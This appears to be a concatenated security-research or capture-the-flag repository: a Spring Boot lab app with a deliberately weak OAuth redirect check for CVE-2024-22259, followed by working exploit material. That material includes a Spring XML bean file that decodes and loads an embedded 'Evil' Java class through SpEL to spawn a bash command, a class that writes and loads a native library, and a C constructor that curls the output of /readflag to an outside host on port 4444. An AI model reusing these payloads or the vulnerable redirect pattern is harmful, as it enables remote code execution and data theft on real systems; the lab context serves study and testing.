<?xml version="1.0" encoding="UTF-8"?>

<project xmlns="http://maven.apache.org/POM/4.0.0"

xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"

xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">

<parent>

<groupId>org.springframework.boot</groupId>

<artifactId>spring-boot-starter-parent</artifactId>

<version>2.7.18</version>

<relativePath/> <!-- lookup parent from repository -->

</parent>

<modelVersion>4.0.0</modelVersion>

<artifactId>spring-uricomponentsbuilder-2</artifactId>

<properties>

<maven.compiler.source>8</maven.compiler.source>

<maven.compiler.target>8</maven.compiler.target>

</properties>

<dependencies>

<dependency>

<groupId>org.springframework.boot</groupId>

<artifactId>spring-boot-starter-web</artifactId>

</dependency>

<!-- https://mvnrepository.com/artifact/org.springframework/spring-web -->

<dependency>

<groupId>org.springframework</groupId>

<artifactId>spring-web</artifactId>

<version>5.3.32</version>

</dependency>

</dependencies>

</project>

package com.drunkbaby;

import org.springframework.boot.SpringApplication;

import org.springframework.boot.autoconfigure.SpringBootApplication;

public class Cve202422259Application {

public static void main(String[] args) {

SpringApplication.run(Cve202422259Application.class, args);

}

}

package com.drunkbaby.controller;

import org.springframework.stereotype.Controller;

import org.springframework.web.bind.annotation.GetMapping;

import org.springframework.web.bind.annotation.RequestMapping;

import org.springframework.web.bind.annotation.RequestParam;

import org.springframework.web.util.UriComponents;

import org.springframework.web.util.UriComponentsBuilder;

import javax.servlet.http.HttpServletResponse;

import java.io.IOException;

import java.util.Arrays;

import java.util.HashSet;

import java.util.Set;

@RequestMapping("/oauth")

public class OAuthController {

private static final Set<String> whiteDomains = new HashSet<>(Arrays.asList(new String[]{

".fuckpdd.com"

}));

/**

@GetMapping

public String oauth(@RequestParam(name = "redirect_uri") String redirectUri, HttpServletResponse response) throws IOException {

UriComponents uriComponents = UriComponentsBuilder.fromUriString(redirectUri).build();

String schema = uriComponents.getScheme();

String host = uriComponents.getHost();

String path = uriComponents.getPath();

System.out.printf("schema:%s\n", schema);

System.out.printf("host:%s\n", host);

System.out.printf("path:%s\n", path);

boolean pass = false;

for (String whiteDomain : whiteDomains) {

if (host.endsWith(whiteDomain)) {

pass = true;

break;

}

}

if (!pass) return "error";

return "redirect:" + redirectUri;

}

}

package com.drunkbaby;

import org.junit.jupiter.api.Test;

import org.springframework.boot.test.context.SpringBootTest;

class Cve202422259ApplicationTests {

@Test

void contextLoads() {

}

}

<?xml version="1.0" encoding="UTF-8" ?>

<beans xmlns="http://www.springframework.org/schema/beans"

xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"

xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">

<bean id="data" class="java.lang.String">

<constructor-arg>

<value>yv66vgAAADQAmwoAFwBaBwBbCABcCgAVAF0KAF4AXwoAXgBgCABhCgAVAGIKAAIAYwcAZAgAZQgAZggAZwcALQoACgBoCgBpAGoIAEMIAEQKABcAawgARQcAbAoAFQBtBwBuCgBvAHAHAHEKABkAcggAcwkAGQB0BwA/CQB1AHQKABUAdgoAbwBfCgAZAHcKACQAeAoAdQB5BwB6AQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEAAWkBAAFJAQADYXJnAQACW0IBAAR0aGlzAQAUTGNvbS9kcnVua2JhYnkvRXZpbDsBAA50aGVVbnNhZmVGaWVsZAEAGUxqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZDsBAAZ1bnNhZmUBABFMc3VuL21pc2MvVW5zYWZlOwEABWNsYXp6AQARTGphdmEvbGFuZy9DbGFzczsBAANvYmoBABJMamF2YS9sYW5nL09iamVjdDsBAANjbWQBABNbTGphdmEvbGFuZy9TdHJpbmc7AQAHY21kQXJncwEAA1tbQgEABHNpemUBAAhhcmdCbG9jawEABGVudmMBAAJbSQEAB3N0ZF9mZHMBABRsYXVuY2hNZWNoYW5pc21GaWVsZAEAD2hlbHBlcnBhdGhGaWVsZAEAD2xhdW5jaE1lY2hhbmlzbQEACmhlbHBlcnBhdGgBAAdvcmRpbmFsAQAKZm9ya01ldGhvZAEAGkxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7AQANU3RhY2tNYXBUYWJsZQcAegcAewcAWwcAbAcAbgcAOQcAOwEACkV4Y2VwdGlvbnMHAHwBAAl0b0NTdHJpbmcBABYoTGphdmEvbGFuZy9TdHJpbmc7KVtCAQABcwEAEkxqYXZhL2xhbmcvU3RyaW5nOwEABWJ5dGVzAQAGcmVzdWx0AQAKU291cmNlRmlsZQEACUV2aWwuamF2YQwAJQAmAQAPc3VuL21pc2MvVW5zYWZlAQAJdGhlVW5zYWZlDAB9AH4HAHsMAH8AgAwAgQCCAQAVamF2YS5sYW5nLlVOSVhQcm9jZXNzDACDAIQMAIUAhgEAEGphdmEvbGFuZy9TdHJpbmcBAARiYXNoAQACLWMBABJ0b3VjaCAvdG1wL3N1Y2Nlc3MMAIcAiAcAiQwAigCLDACMAI0BAA9qYXZhL2xhbmcvQ2xhc3MMAI4AjwEAEGphdmEvbGFuZy9PYmplY3QHAJAMAJEAkgEAEWphdmEvbGFuZy9JbnRlZ2VyDACTAJQBABBSQVNQX2ZvcmtBbmRFeGVjDACVADUHAJYMAJcAjwwAmACZDABSAFMMAJgAmgEAEmNvbS9kcnVua2JhYnkvRXZpbAEAF2phdmEvbGFuZy9yZWZsZWN0L0ZpZWxkAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAEGdldERlY2xhcmVkRmllbGQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZDsBAA1zZXRBY2Nlc3NpYmxlAQAEKFopVgEAA2dldAEAJihMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQAHZm9yTmFtZQEAJShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9DbGFzczsBABBhbGxvY2F0ZUluc3RhbmNlAQAlKExqYXZhL2xhbmcvQ2xhc3M7KUxqYXZhL2xhbmcvT2JqZWN0OwEACGdldEJ5dGVzAQAEKClbQgEAEGphdmEvbGFuZy9TeXN0ZW0BAAlhcnJheWNvcHkBACooTGphdmEvbGFuZy9PYmplY3Q7SUxqYXZhL2xhbmcvT2JqZWN0O0lJKVYBAAhnZXRDbGFzcwEAEygpTGphdmEvbGFuZy9DbGFzczsBAAlnZXRNZXRob2QBAEAoTGphdmEvbGFuZy9TdHJpbmc7W0xqYXZhL2xhbmcvQ2xhc3M7KUxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7AQAYamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kAQAGaW52b2tlAQA5KExqYXZhL2xhbmcvT2JqZWN0O1tMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQAIaW50VmFsdWUBAAMoKUkBAARUWVBFAQARamF2YS9sYW5nL0Jvb2xlYW4BABFnZXREZWNsYXJlZE1ldGhvZAEAB3ZhbHVlT2YBABYoSSlMamF2YS9sYW5nL0ludGVnZXI7AQAWKFopTGphdmEvbGFuZy9Cb29sZWFuOwAhACQAFwAAAAAAAgABACUAJgACACcAAAN6AAgAEgAAAcQqtwABEgISA7YABEwrBLYABSsBtgAGwAACTRIHuAAITiwttgAJOgQGvQAKWQMSC1NZBBIMU1kFEg1TOgUZBb4EZL0ADjoGGQa+NgcDNggVCBkGvqIAIxkGFQgZBRUIBGAytgAPUxUHGQYVCDK+YDYHhAgBp//bFQe8CDoIAzYJGQY6ChkKvjYLAzYMFQwVC6IAJxkKFQwyOg0ZDQMZCBUJGQ2+uAAQFQkZDb4EYGA2CYQMAaf/2AS8CjoKBrwKWQMCT1kEAk9ZBQJPOgstEhG2AAQ6DC0SErYABDoNGQwEtgAFGQ0EtgAFGQwZBLYABjoOGQ0ZBLYABsAADsAADjoPGQ62ABMSFAO9ABW2ABYZDgO9ABe2ABjAABm2ABo2EC0SGxAKvQAVWQOyABxTWQQSDlNZBRIOU1kGEg5TWQeyABxTWQgSDlNZEAayABxTWRAHEg5TWRAIEh1TWRAJsgAeU7YAHzoRGREEtgAgGREZBBAKvQAXWQMVEARguAAhU1kEGQ9TWQUqGQUDMrYAIlNZBhkIU1kHGQa+uAAhU1kIAVNZEAYZCgMuuAAhU1kQBwFTWRAIGQtTWRAJA7gAI1O2ABhXsQAAAAMAKAAAAIIAIAAAAAkABAAKAAwACwARAAwAGgAOACAADwAnABEAPAATAEYAFABLABYAVgAXAGUAGABwABYAdgAbAHwAHAB/AB4AmQAfAKYAIACwAB4AtgAjALsAJADMACYA1AAnANwAKQDiACoA6AAsAPEALQEAAC8BHwAxAWYAMgFsADMBwwA0ACkAAADKABQATgAoACoAKwAIAJkAFwAsAC0ADQAAAcQALgAvAAAADAG4ADAAMQABABoBqgAyADMAAgAgAaQANAA1AAMAJwGdADYANwAEADwBiAA4ADkABQBGAX4AOgA7AAYASwF5ADwAKwAHAHwBSAA9AC0ACAB/AUUAKgArAAkAuwEJAD4APwAKAMwA+ABAAD8ACwDUAPAAQQAxAAwA3ADoAEIAMQANAPEA0wBDADcADgEAAMQARAAtAA8BHwClAEUAKwAQAWYAXgBGAEcAEQBIAAAATAAE/wBOAAkHAEkHAEoHAEsHAEwHAE0HAE4HAE8BAQAA+gAn/wAUAA0HAEkHAEoHAEsHAEwHAE0HAE4HAE8BBwAOAQcATwEBAAD4ACoAUAAAAAQAAQBRAAEAUgBTAAEAJwAAAI0ABQAEAAAAJCvHAAUBsCu2AA9NLL4EYLwITiwDLQMsvrgAEC0tvgRkA1QtsAAAAAMAKAAAAB4ABwAAADcABAA4AAYAOgALADsAEgA8ABsAPQAiAD4AKQAAACoABAAAACQALgAvAAAAAAAkAFQAVQABAAsAGQBWAC0AAgASABIAVwAtAAMASAAAAAMAAQYAAQBYAAAAAgBZ</value>

</constructor-arg>

</bean>

<bean class="#{T(org.springframework.cglib.core.ReflectUtils).defineClass('com.drunkbaby.Evil',T(org.springframework.util.Base64Utils).decodeFromString(data),new javax.management.loading.MLet(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader())).newInstance()}"></bean>

</beans>

package com.example;

import java.nio.file.Files;

import java.nio.file.Paths;

import java.util.Base64;

public class Evil {

public Evil() throws Exception {

String data = "PAYLOAD";

String filename = "/tmp/evil.so";

Files.write(Paths.get(filename), Base64.getDecoder().decode(data));

System.load(filename);

}

}

#include <stdlib.h>

#include <stdio.h>

#include <string.h>

__attribute__ ((__constructor__)) void preload (void){

system("curl host.docker.internal:4444 -d \"`/readflag`\"");

}